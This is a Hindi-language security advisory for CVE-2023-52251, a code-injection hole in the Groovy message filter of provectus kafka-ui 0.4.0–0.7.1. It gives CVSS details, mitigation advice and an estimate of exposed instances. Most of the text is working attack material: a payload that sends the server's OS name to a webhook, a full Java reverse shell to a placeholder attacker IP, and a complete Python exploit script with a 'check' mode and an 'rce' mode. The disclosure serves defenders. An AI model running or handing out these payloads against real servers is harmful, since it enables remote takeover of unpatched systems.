
CVE-2023-52251 provectus/kafka-ui में एक रिमोट कोड एक्सेक्यूशन (Remote Code Execution) भेद्यता मौजूद है।
इसमें एक रिमोट कोड एक्सेक्यूशन भेद्यता है provectus/kafka-ui। इसे लिखे जाने के समय तक कोई पैच नहीं है, लेकिन विक्रेता को हमारे द्वारा और VINCE की टीम द्वारा सूचित किया गया है, जिसका कोई जवाब नहीं मिला। रिपोर्ट 27 सितंबर, 2023 को provectus को ईमेल और github सुरक्षा दोनों के माध्यम से भेजी गई थी।
हमारा सुझाव है कि न्यूनतम उपाय के रूप में पूरे groovy फ़िल्टर फ़ंक्शन को कमेंट कर दें / प्रमाणीकरण (authentication) जोड़ दें।
| शीर्षक | मान |
|---|---|
| CVSS String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H |
| CVE ID | CVE-2023-52251 |
| CVS विवरण | provectus kafka-ui 0.4.0-0.7.1 में /api/clusters/local/topics/{topic}/messages पर q पैरामीटर के माध्यम से एक रिमोट कमांड एक्सेक्यूशन (RCE) भेद्यता पाई गई |
| CVSS Score | 9.x |
| CWE | CWE-94: Improper Control of Generation of Code ('Code Injection') |
| विक्रेता | Provectus |
| उत्पाद | kafka-ui |
| लिंक | https://github.com/provectus/kafka-ui |
| प्रभावित संस्करण | 0.4.0-0.7.1 |
| पैच किए गए संस्करण | कोई नहीं |
| योगदानकर्ता | Thingstad, BobTheShoplifter |
भेद्यता प्रकार: रिमोट कोड एक्सेक्यूशन (RCE)
प्रभावित सॉफ्टवेयर: Kafka-ui
संस्करण: [0.4.0-0.7.1]
groovy स्क्रिप्ट फ़िल्टर को निष्पादित करने से पहले उसका कोई सैनिटाइज़ेशन नहीं किया जाता है। यह एक हमलावर को सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देता है।
फ़ंक्शन groovyScriptFilter में "script" को निष्पादित करने से पहले सैनिटाइज़ नहीं किया जाता है।
और इसे इंजन में eval किया जा रहा है:
var result = compiledScript.eval(bindings);
भेद्यता को पुन: उत्पन्न करने के लिए विशिष्ट कॉन्फ़िगरेशन विवरण सहित पूर्ण निर्देश।
फ़िल्टर का उपयोग करके:
new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

यह सर्वर के OS नाम के साथ वेबहुक को एक अनुरोध भेजेगा।

इसे और आगे बढ़ाते हुए, हम रिवर्स शेल पाने के लिए निम्नलिखित पेलोड का उपयोग कर सकते हैं:
String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
पेलोड आसानी से https://www.revshells.com/ पर जनरेट किया जा सकता है।

और python में एक PoC भी बनाया गया है:
from time import sleep
import requests
import json
import urllib
import argparse
url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"
def get_clusters():
global clusters
clusterfetch = requests.get(url + '/api/clusters')
clusters = clusterfetch.json()
def get_topics(cluster):
topicfetch = requests.get(
url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
topics = topicfetch.json()['topics']
return topics
def get_webhooks():
webhookfetch = requests.post('https://webhook.site/token')
webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
print('URL Created: ' + webhook)
token_id = webhookfetch.json()['uuid']
headers = {"api-key": webhookfetch.json()['uuid']}
return webhook, token_id, headers
def Exploit():
try:
get_clusters()
cluster = clusters[0]['name']
topics = get_topics(cluster)
topic = topics[0]['name']
webhook, token_id, headers = get_webhooks()
checkpayload = 'new URL("'+webhook+'").text'
rcepayload = 'String host="' + c2 + \
'";int port='+port + \
';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
payload = rcepayload if mode == "rce" else checkpayload
r = requests.get(
url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
print(r.text)
r = requests.get('https://webhook.site/token/' + token_id +
'/requests?sorting=newest', headers=headers)
if r.json()['data'] == []:
print("No rce found")
else:
for request in r.json()['data']:
print(request)
print("Rce found")
except KeyboardInterrupt:
print("KeyboardInterrupt")
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Kafka-ui4shell rce.')
parser.add_argument('--mode', help='check, rce', required=False,
choices=['check', 'rce'], default="check")
parser.add_argument(
'--url', help='Target url. Example http://localhost:8080', required=True)
parser.add_argument('--c2', help='C2 ip for RCE',
required=False),
parser.add_argument('--c2port', help='File with urls', required=False)
args = parser.parse_args()
if args.mode == "rce":
# Check if c2 and c2port are set
if args.c2 and args.c2port:
c2 = args.c2
port = args.c2port
mode = args.mode
Exploit()
exit()
else:
print("C2 and C2 port are required for RCE")
exit()
if args.url:
url = args.url
if args.mode:
mode = args.mode
if args.c2:
c2 = args.c2
if args.c2port:
port = args.c2port
Exploit()
exit()
else:
parser.print_help()
यह भेद्यता एक हमलावर को सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है। इसका उपयोग सर्वर तक पहुंच प्राप्त करने और सिस्टम से आगे समझौता करने के लिए किया जा सकता है। यह भेद्यता kafka-ui वेब इंटरफ़ेस तक पहुंच रखने वाले किसी भी उपयोगकर्ता द्वारा शोषण योग्य है।
इसे लिखे जाने के समय, Cencys के अनुसार इंटरनेट पर kafka-ui के 1,000+ इंस्टेंस उजागर हैं। ये सभी इंस्टेंस इस हमले के प्रति भेद्य हो सकते हैं।

यह सॉफ्टवेयर आंतरिक नेटवर्क पर भी चलने की संभावना है, जहां एक हमलावर नेटवर्क तक पहुंच प्राप्त कर सकता है और इस भेद्यता का शोषण कर सकता है।
Lars Thingstad - @Thingstad Daniel Christensen - @BobTheShoplifter